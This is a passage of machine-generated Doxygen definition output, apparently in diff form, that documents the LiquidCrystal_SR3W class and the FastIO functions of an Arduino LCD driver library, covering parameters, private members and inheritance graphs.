'/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '143'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param 0: backlight off, 1..255: backlight on. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a45cde916021d9b52b0f769c17886b2ef'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '165'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a80f6e4e8b10635d9daed718f2918c1bd'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'loadSR'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '183'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract load into the shift register a byte + @discussion loads into the shift register a byte + @param value[in]: value to be loaded into the shiftregister. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1ac0702caa5d07ffd8e832ad8a5d0afe7c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write4bits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '175'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a21ef2e5b78edd0d160d81b0c06d41440'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightPinMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '196'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1adf17379bfac4def5c780fc8ad023764c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightStsMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '197'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a2c14746e8f626a53f777c8df68f8a92b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_clk'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '190'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1af7d09207dffb9f2fc85fc60661ffa0d4'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_clk_reg'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '191'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1ab81049d446d2e7399ee6b20c9da4cdde'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '188'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a366adab314f5dc8b7e53298d6eccf85d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_pins'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '195'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a301acb36345c56ae336156fdeee4a783'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_reg'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '189'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a4306c59b6bf3870fecad23d6b0c0aa5d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_En'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '192'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a062da9fb985a7e88128d7d95fd8239d6'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Rs'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '194'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1aef47417b089e53af1ce032e5f1b23b43'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Rw'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '193'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a0d40b3c14c3f56fd341d41220f425925'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_strobe'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '186'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a2a7d9703b04a91658b7a590b926ff9cd'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_strobe_reg'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '187'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + cp-fileline = '67'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 27; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 26; + node-label = 'LiquidCrystal_SR3W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r3_w'; + }; + node-child = { + child-id = '27'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 29; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 28; + node-label = 'LiquidCrystal_SR3W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r3_w'; + }; + node-child = { + child-id = '29'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +file = { + file-id = '_fast_i_o_8cpp'; + file-name = 'FastIO.cpp'; + func = { + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a83fc2fdc19ab3f9aade9e1a2f39e81a6'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_digitalRead'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinBit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '96'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract direct digital read + @discussion without any checks + @discussion falls back to normal digitalRead if fast io is disabled + @param pinRegister[in] Register - ignored if fast io is disabled + @param pinBit[in] Bit - Pin if fast io is disabled + @result Value read from pin +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1ae91bbe682b02a5842c291055c0e998b5'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_digitalWrite'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '77'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract direct digital write + @discussion without any checks + @discussion falls back to normal digitalWrite if fast io is disabled + @param pinRegister[in] Register - ignored if fast digital write is disabled + @param pinBit[in] Bit - Pin if fast digital write is disabled + @param value[in] desired output +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a07a19dfbdca1afaca5d666bdaa3be7d5'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToBit'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '66'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Find the bit which belongs to specified pin + @discussion if fast digitalWrite is disabled this function returns the pin + @param pin[in] Number of a digital pin + @result Bit +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1afb934fc0ded94cbb5ed8ed14e2a123ed'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToInputRegister'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '53'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Get the input register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a04210cc785c3b4a11c86f794949c327f'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToOutputRegister'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'initial_state'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '36'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Get the output register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a5d8d5977294d614d15bda19f75d6b787'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockBit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '161'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract faster shift out clear + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a56c72b9f00680662229895ab22aaa743'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'bitOrder'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '111'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract faster shift out + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled + @param bitOrder[in] bit order +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a7ac8b242e7e3cacf175e481889e047dd'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +boolean +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'noLatch'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '265'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract one wire shift out + @discussion protocol needs initialisation (fio_shiftOut1_init) + @param pin[in] digital pin + @param value[in] value to shift out, last byte is ignored and always shifted out LOW +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a5b4d1684030dc620938b7c2fbdf5ced8'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Register'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Bit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +boolean +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'noLatch'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '192'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract one wire shift out + @discussion protocol needs initialisation (fio_shiftOut1_init) + @param shift1Register[in] pins register + @param shift1Bit[in] pins bit + @param value[in] value to shift out, last byte is ignored and always shifted out LOW +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a2d0e4495eb12504255bbd3f82405b17b'; + func-mem-virt = normal; + func-mem-prot = public; + 